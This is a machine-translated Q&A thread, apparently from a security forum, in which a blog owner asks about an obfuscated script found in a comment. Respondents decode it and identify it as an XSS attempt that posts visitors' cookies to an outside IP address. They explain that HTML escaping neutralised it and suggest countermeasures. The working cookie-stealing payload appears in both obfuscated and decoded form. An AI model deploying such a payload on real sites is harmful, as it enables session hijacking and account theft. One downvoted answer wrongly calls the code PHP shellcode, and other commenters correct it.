Я нашел обфускацию кода в комментарии к своему блогу. Что мне делать?


46

Сегодня я проверял комментарии на моем блоге, и я нашел странный комментарий, вот точный текст

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function(){} ,_0x352a[2]);</script> 

Что это значит? Это ошибка?

Обратите внимание, что у меня была большая проблема с XSS прошлым летом, но специалист по безопасности исправил ее. Сегодня я связался с ним, и он сказал, что все в порядке, и я не должен волноваться. Но я волнуюсь.

+2

При просмотре источника начинается с <script> или &lt; скрипт &gt;? 07 авг. 132013-08-07 16:33:30

  0

@drjimbob Я проверил с помощью инструмента проверки элемента в хроме, вы правы, комментарий содержит текст, который вы описываете. 07 авг. 132013-08-07 16:35:49

+15

Это означает, что ваш веб-фреймворк правильно экранирует HTML-символы '' 'с HTML-экранированием до' &lt;', и поэтому такая попытка XSS будет бесполезной на вашем веб-сайте с помощью любого полуприличного браузера. 07 авг. 132013-08-07 16:38:30

  0

@drjimbob Спасибо большое. Если вам нравится, напишите в ответ, чтобы я мог его продвинуть. Это помогло мне подтвердить мои подозрения, что ситуация в ОП выглядит безопасно. 07 авг. 132013-08-07 16:46:34

  0

@Adnan - не беспокойтесь. Вы дали отличный ответ и сделали все, кроме явного запроса GreenFly, если его html-экранированный или нет, поэтому комментариев достаточно. 07 авг. 132013-08-07 17:55:34

82

Прежде всего, ваш защитник, скорее всего, прав. Похоже, вам не о чем беспокоиться, потому что из вашего описания проблемы и ответа парня я думаю, что теги скрипта были правильно закодированы. Думайте об этом как о нейтрализованном оружии. Он там, да, но он не может нанести никакого ущерба.

Запуск этого кода через Deobfuscator дает нам

 $["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html") 

Теперь мы просто «канонизировать» код, чтобы сделать его более удобным для чтения

$ ["post"]("114.45.217.33/vlk.php", { 
  cookie: document["cookie"] 
}, function() {}, "html") 

Как вы можете видеть, злоумышленник надеялся, что ваш сайт уязвим для XSS, чтобы использовать его и красть cookie вашего посетителя, включая ваши. Он также предполагает/надеется, что вы используете jQuery, и в наши дни это очень разумное предположение. Если им удастся украсть ваши файлы cookie, они получат идентификатор сеанса и могут войти в систему как один из ваших пользователей или даже вашу учетную запись администратора.

Я не уверен, почему он оставил функцию обратного вызова там или тип ответа. Удаление их сделало бы полезную нагрузку еще меньше.

Запуск этого IP-адреса through a blacklist checking tool показывает нам, что хозяин, вероятно, будет скомпрометирован. Это похоже на случайную атаку бота, пытающегося вставить этот код в случайные блоги и сайты в надежде, что один из них будет уязвим.

enter image description here

  0

благодарю вас за ответ. но почему, по-вашему, мне не нужно беспокоиться? 07 авг. 132013-08-07 16:17:43

+13

@GreenFly Ваше описание указывает, что вход был правильно закодирован, таким образом вы могли видеть '<script>', а не скрывать их, а код внутри них выполнялся. 07 авг. 132013-08-07 16:24:42

  0

Да, спасибо, это звучит так, как сказал мне защитник. он также сказал, что проверил исходный код 07 авг. 132013-08-07 16:34:21

+28

@GreenFly - Представьте, что злоумышленник попытался провести контрабанду пушки и пули на самолет, но агент безопасности поймал его и заменил на них бумагой с грубым рисунком ружья и слово «пули». Угроза нейтрализована. :) 08 авг. 132013-08-08 06:35:26

  0

@DavidHarkness Более правильно оружие (пушка) нейтрализовано, угроза (атакующий!) Чувствует, что у них было ... 08 авг. 132013-08-08 09:35:42

  0

@Green Fly: Обратите внимание, что в зависимости от того, как именно html сбежал, и unescape или автоматический механизм экранирования, который доступен в определенных веб-фреймворках, возможно, все же возможно, что непредвиденный комментарий будет случайно отображен, как правило, в менее используемой области веб-сайта, которые не так тщательно изучены. По-прежнему может быть хорошей идеей удалить такую ​​попытку атаки из базы данных (после тщательной проверки страницы администратора, которую вы, конечно, удалили из комментария). Возможно, я немного параноик. 08 авг. 132013-08-08 16:17:13

  0

@DavidHarkness Проблема в том, что пистолет и пули все еще находятся в плоскости и полностью функциональны. Каждому разрешено просить пистолет и пули. Каждый раз, когда такой запрос был сделан, агенту необходимо снова нарисовать это изображение. Как говорит Ли Райан, требуется только один менее скрупулезный агент, который забывает, что пакет опасен и что любой запросчик должен быть снабжен изображением вместо фактического пакета. 09 мар. 142014-03-09 21:25:50


-7

Это то, что я могу понять.

Его кодировка в шестнадцатеричном формате. Реальное значение находится в ascii.

\ x означает, что он использовался как шелл-код. Вредоносный пользователь пытался отправить шестнадцатеричные кодированные значения юникода в качестве комментария, заключенного в php-функцию, чтобы взаимодействовать с вашим сервером и компрометировать его.

Похоже, что он потерпел неудачу, поскольку был обнаружен как комментарий, не нарушая ничего в вашем блоге. Но это также означает, что может быть какая-то уязвимость в любом из компонентов, которые вы используете в своем блоге. Хорошая вещь - проверить веб-сайт NVD или Cvedetails.com и посмотреть, есть ли некоторые новые ошибки в компонентах, которые вы используете в своем блоге.

Также существует высокая вероятность того, что атакующий является skiddie, и он просто атаковал ваш блог, увидев, что это одно и то же программное обеспечение (а не версия;)).

+14

-1 «это также означает, что может быть какая-то уязвимость в любом из компонентов», поскольку нет никаких признаков какой-либо уязвимости. Он позволяет пользователям комментировать в разделе комментариев своего сайта. Пользователь попытался сделать атаку через комментарий, но его динамический веб-сайт автоматически избежал специальных символов HTML, чтобы предотвратить случайное выполнение атаки. 07 авг. 132013-08-07 16:43:19

  0

Бадди прочитал его снова «Мог бы быть». Я объяснил мышление нападавшего здесь. Также в своем комментарии я сказал: «Похоже, он потерпел неудачу, поскольку он был обнаружен как комментарий, не нарушая ничего в вашем блоге». Вы повторяете повторение этой же точки. 07 авг. 132013-08-07 16:47:38

+7

Друг, я согласен, что у нас есть много договоренностей и мы делаем похожие точки. Но я проигнорировал, поскольку вы утверждали, что это может быть некоторой уязвимостью * - я не вижу причин для этого вывода - это только указывает, что его сайт принимает комментарии и защищен от этого конкретного типа атаки. Я удалю свой downvote, если утверждение о том, что это означает потенциальную уязвимость, отредактировано. И если вы удалите часть об этом, являющуюся shellcode (она действительно не является - shell-код, как правило, машинный язык - это запутанный JS), я даже дам вам upvote (это не то, почему я отказался от изменений терминов) , 07 авг. 132013-08-07 17:48:57

  0

Почему я сказал, что может случиться так, что злоумышленник попытался бы войти, если бы увидел, что такой вид вулкана (как в предыдущих версиях, неправильная атрибуция), или он мог что-то сделать не так, поэтому не смог использовать потенциал вулкана.Много раз раскрытие информации не дает существенных подробностей, позволяющих кому угодно и всем использовать его. Это то, о чем я думал. Но в hinsight я должен был расшифровать его и написать детали вместо того, чтобы думать от нападавших mindset, поскольку это не то, что сложно. И спасибо за ваш Input.I Действительно ценю это 07 авг. 132013-08-07 18:12:00

+11

shellcode? PHP? юникода? Я не вижу никаких признаков того, что здесь задействованы. 07 авг. 132013-08-07 20:54:06

  0

Я согласен с @drjimbob. Попытка атаки не означает уязвимости. Нападавший наверняка надеялся, что он будет уязвим, но этот код не особенно изящный - это скорее всего автоматическая слепая атака, как Лукас подразумевал в своем ответе. 01 ноя. 142014-11-01 23:00:42

  0

По этой логике StackExchange уязвим, а вредоносный код также включен в первое сообщение. 25 фев. 162016-02-25 13:54:26


19

В дополнении к ответу Аднана:

Это продукт побочным, когда злоумышленник волосков приложения (он просто посылает тонны полезных грузов, чтобы увидеть, если один работает). Если ваше приложение правильно обрабатывает кодирование и экранирование ввода пользователя, вам не нужно беспокоиться о том, чтобы быть уязвимым.

Есть несколько контрмер, которые вы можете предпринять, чтобы уменьшить эти атаки, например, использовать брандмауэр веб-приложений или систему обнаружения вторжений. Они должны автоматически блокировать людей, которые путают ваше приложение. Вы также можете потребовать проверку реальности как капчу или вызов, прежде чем публикация разрешена (или если обнаружено много последовательных сообщений). Это также уменьшает этот тип загрязнения.

  0

извините, что делает «fuzzing ваше приложение»? как я могу остановить это размывание? 08 авг. 132013-08-08 12:43:48

+4

Fuzz testing или fuzzing - это метод тестирования программного обеспечения, часто автоматизированный или полуавтоматический, который включает в себя предоставление неверных, неожиданных или случайных данных на входах компьютерной программы. Затем программа отслеживается для исключений, таких как сбои или сбои встроенных кодовых утверждений или для поиска потенциальных утечек памяти. Fuzzing обычно используется для тестирования проблем безопасности в программных или компьютерных системах. 08 авг. 132013-08-08 12:52:47

  0

Вам нужна IDS, которая обнаруживает это поведение и автоматически блокирует его. 08 авг. 132013-08-08 12:55:05